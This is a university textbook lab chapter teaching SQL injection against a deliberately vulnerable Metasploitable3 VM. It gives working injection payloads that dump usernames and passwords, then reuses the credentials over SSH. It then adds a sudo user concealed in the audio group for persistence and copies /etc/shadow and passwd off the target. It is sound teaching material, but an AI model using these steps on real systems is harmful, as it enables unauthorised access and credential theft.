47 Gaining Access – SQL Injection

Dante Rocca and Mathew J. Heath Van Horn, PhD

This section will show students the basics of performing a simple SQL injection. Prior knowledge of SQL is not required since we are walking you through the attack in a “monkey see, monkey do” fashion.  This chapter provides experience in exploiting SQL database vulnerabilities.  However, extensive SQL knowledge is necessary to conduct this type of attack against non-prescribed targets.

Learning Objectives

  • Learn the basics of SQL Injection

Prerequisites

Deliverables

  • 4 Screenshots are needed to earn credit for this exercise:
    • Successful SQL injection getting usernames and passwords
    • Using usernames and passwords to SSH into the target system
    • The addition of a new SUDO user as demonstrated by SSH into the target system
    • Showing the copy of the target’s shadow file and passwd file in the local (Kali) Downloads folder

Resources

Contributors and Testers

  • Raechel Ferguson, Cybersecurity Student, ERAU-Prescott
  • Justin La Zare, Cybersecurity Student, ERAU-Prescott
  • Jacob M. Christensen, Cybersecurity Student, ERAU-Prescott

Phase I – Injection basics – find a way in

A SQL injection attack involves running an unintended SQL query using an application’s client input fields. By using creativity within the constraints of the SQL syntax, attackers can access the SQL database, extract or modify information, adjust their inputs, and repeat until they gain access. Our first step is to find a place to insert SQL commands.

NOTE: Some IP addresses in the figures vary because the clarifying screenshots were added from different PCs when testing the lab.  Your IPs will also vary.

  1. Start with the attack environment from Chapter 42 and get it up and running
  2. Find the IP address of the Metasploitable3-Linux VM using Nmap. In our example, we discovered the Metasploitable3-Linux VM using the this will be 200.200.200.8
    Nmap scan results
    Figure 1 – Nmap scan results
  3. We can see that MySQL is running on port 3306, likely supporting a website.
  4. Open Firefox on the Kali VM. Go to the address:

    http://200.200.200.8

    Website results
    Figure 2 – Website results
  5. Click on payroll_app.php
    Website signon
    Figure 3 – Found a website sign-on page
  6. Log in with the Username admin and the Password admin.
    Results of trying a login
    Figure 4 – Results of trying a log-on
  7. We got in….sort of.  We can see a table trying to display 4 fields, presumably from the MySQL database.  We can work with that.

Phase II – SQL Injection

We want to try a few different SQL commands to see what happens.  As a reminder, here are some SQL commands:

  • ALL CAPS is used to differentiate between SQL commands and data.  If a word is typed in ALL CAPS, you know that it is telling SQL to take an action.
  • A delimiter separates commands in the way punctuation separates sentences within a paragraph.
    • An apostrophe ( ‘ ) delineates the beginning and end of a string.
    • A semicolon (;) marks the end of a full SQL command.
  • Conditional operators evaluate conditions.
    • AND returns records where both on either side of the operator are true
    • OR returns records if either of the surrounding conditions is true.
  • FROM  is used to identify the table that stores the information.
  • SELECT is used to retrieve data from the database table.
  • UNION is used to combine the records of two or more SELECT statements.
  • null indicates the absence of a value where it is being used.
  • #, or sometimes –, indicates the beginning of a comment in SQL. This is often why we see this symbol at the end of a SQL injection; it comments out the rest of the query that otherwise would be executed.
  • @ is used to denote a user-defined variable in SQL.
  • % is a wildcard that can stand for any character or string of characters.
  • @@ is used to access global variables and system functions.
  1. With this information, return to the Payroll sign-on and try some injection.  In the username field, type:

    ‘ OR 1=1 #

  2. On the backend, the following SQL query may get executed:

    SELECT username, first_name, last_name, salary FROM users WHERE username = ‘$user’ and password = ‘$pass’;

  3. Replacing the $user and $pass variables with the inputs, we get the following query:

    SELECT username, first_name, last_name, salary FROM users WHERE username = ‘‘ OR 1=1 #‘ and password = ”;

  4. This means, “Hey SQL, give me all records in the table where either the username field is blank (as the apostrophe ends the string) or if 1 equals 1.” Since 1 is always equal to 1, this query will retrieve all of the records within the table. The check against the password is never seen because the # symbol comments everything afterward and is not executed.
    Results of SQL Injection
    Figure 5 – Results of SQL Injection
  5. You can see that we got more information this way.  We can assume that data property names in the database table are named username, first_name, last_name, and salary
  6. But we don’t know what version of SQL we are using.  Knowing this information will help us develop our next SQL injection attack.  Type:

    ‘ UNION SELECT null, null, null, @@version #

  7. This SQL command is like before.  Close out the username string (‘).  Join (UNION) the response of a new command. Don’t print in the username column (null), the first name column (null), or the last name column (null). In the fourth column, however, print the (@@version) version of the table. Ignore the rest of the query (#). This gives us a response of:
    Result of SQL inject for software version
    Figure 6 – Result of SQL injection to find the version

    NOTE: Since the web application expects to print four output columns, the command could also easily be ‘UNION SELECT @@version, null, null, null#’, which would still give us the information. However, ‘UNION SELECT @@version #’ would not because, although the database would happily return the information we seek, the web application will error. This is because the web application will be trying to reference and display columns that do not exist.

  8. We know from the login page that each user must have a password.  Why else would the webpage ask for it?  So, let’s take this speculation further and try the following

    ‘ UNION SELECT username, password, null, null FROM users #

  9. Since we are appending the results, the information may appear after the existing information:
    Password Results
    Figure 7 – Password Results
  10. Remember, people are predictable.  Let’s see if they refused their names and passwords for system access.  In your Kali box, try to SSH into the target machine by typing:

    > ssh leia_organa@200.200.200.8

    Trying SHH
    Figure 8 – Tring to SSH in with the same credentials from the SQL database
  11. We got in. It is rarely this easy, but it has happened to the authors in real life.  It is always worth checking

Phase III – Doing something with this information.

SQL injection got us in the door. So let’s see what else we can do.

  1. At Princess Leia’s login, type groups:
    Exploring Linux permissions
    Figure 9 – Linux permissions for Princess Leia
  2.  Ok, this never happens.  Generally, you have to try dozens, hundreds, or even thousands of usernames and passwords to find someone with SUDO rights. On a real system, I would think it was a honeypot.  But the target is there for our practice, so let’s go with it
  3. After gaining access to a system, the next thing we must do is establish persistence.  So, let’s create a new user with sudo access.  Type

    > sudo adduser student

    Create a new SUDO user
    Figure 10 – We created a new SUDO user named ‘student’
  4. We need to add this user to a group.  Let’s not be obvious, so choose a group that seems innocuous. Type

    > sudo cat /etc/group

    List of groups
    Figure 11 – List of groups
  5. Choose a group that appears innocuous. The audio group looks good.  Now add this new user to the audio group by typing

    > sudo usermod -aG audio student

  6. If Princess Leia ever changes her password, we (student) will still have access, and we can log into the target machine anytime we want.
  7. Now modify the sudo permissions so ‘student’ has sudo access.  Edit the Sudoers file by typing.

    > sudo visudo

  8. Add the group ‘audio’ to have SUDO access.  This means members can run all commands as all groups (including sudo), and this rule applies to all commands run by members of the group

    %audio ALL=(ALL:ALL) ALL

    Grant SUDO access
    Figure 12 – Grant SUDO access to user ‘student’
  9. Write out (save) ^O and exit ^X to save the settings.
  10. Exit the login of Princess Leia by typing.

    > exit

  11. Now SSH into the target machine with the new login account student.

    > ssh student@200.200.200.8

  12. Navigate to the configuration files directory.

    > cd /etc

  13. Change the permissions on the files that contain user information (passwd) and password hashes (shadow) we want to copy.

    > sudo chmod 777 passwd

    > sudo chmod 777 shadow

  14. You can now close the SSH login by typing.

    > exit

  15. You can now copy these files from the target machine to the Kali machine for evaluation later.
  16. In the Kali machine, navigate to the Downloads directory.

    > cd ~/Downloads

  17. Now use SCP (secure copy) to remotely copy the files.

    > scp student@200.200.200.8:/etc/passwd target_passwd

    > scp student@200.200.200.8:/etc/shadow target_shadow

  18. Ensure the files are copied by typing.

    > ls

    Files are copied
    Figure 13 – Files are copied
End of Lab

Deliverables

4 Screenshots are needed to earn credit for this exercise:

  • Successful SQL injection getting usernames and passwords
  • Using usernames and passwords to SSH into the target system
  • The addition of a new SUDO user as demonstrated by SSH into the target system
  • Showing the copy of the target’s shadow file and passwd file in the local (Kali) Downloads folder

Homeworks

Assignment 1 –  SQL Injection Practice.

Install OWASP Webgoat on the Kali VM and complete the SQL injection exercises for Into and Advanced.

RECOMMENDED GRADING CRITERIA

  • Screenshot of Into exercises completed
  • Screenshot of Advanced exercises completed

Assignment 2 –  SQL Injection Mitigation

Install OWASP Webgoat on the Kali VM and complete the SQL injection exercises for Mitigation.

RECOMMENDED GRADING CRITERIA

    • Screenshot of Mitigation exercises completed
No Figures in this Chapter

License

Icon for the Creative Commons Attribution 4.0 International License

Mastering Enterprise Networks Copyright © 2024 by Dante Rocca and Mathew J. Heath Van Horn, PhD is licensed under a Creative Commons Attribution 4.0 International License, except where otherwise noted.

Share This Book